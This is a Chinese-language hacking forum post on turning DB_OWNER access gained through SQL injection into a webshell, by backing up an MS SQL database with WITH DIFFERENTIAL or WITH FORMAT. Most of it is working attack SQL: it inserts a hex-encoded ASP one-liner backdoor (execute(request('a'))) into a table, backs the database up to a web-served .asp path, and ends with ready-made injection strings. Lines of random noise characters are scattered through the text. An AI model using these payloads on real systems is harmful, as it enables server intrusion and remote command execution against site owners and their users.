DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少
, e5 F5 M/ r: d1 p  U& B3 C
一利用差异备份
, l0 z2 g3 L% E加一个参数WITH DIFFERENTIAL
; H3 C! M% a, d* B. P
/ n, L- N  Z* ]7 \# xdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
9 E; Z4 e0 n( S% @, p' J5 O) d4 m4 A) wdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
7 |* V% J; t2 e3 N
二利用完全FORMAT
6 Q4 r  @6 |5 }! G" e! W2 E" }加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
# L$ c9 E3 `2 C  r, o+ m0 w
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
  M# D) y$ \- R. f9 q- e/ E& Jdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
3 n# \" M6 y8 ~! v  j3 P
总的来说就是那么简单几句,下面以备份数据库model为例子

id=1;use model create table cmd(str image);insert into cmd(str) values (”)

+ w0 I. i5 F+ }  }' b0 G8 lid=1;backup database model to disk=’你的路径‘ with differential,format;–

: k& p' ^; D/ y2 j. j' U  `0 L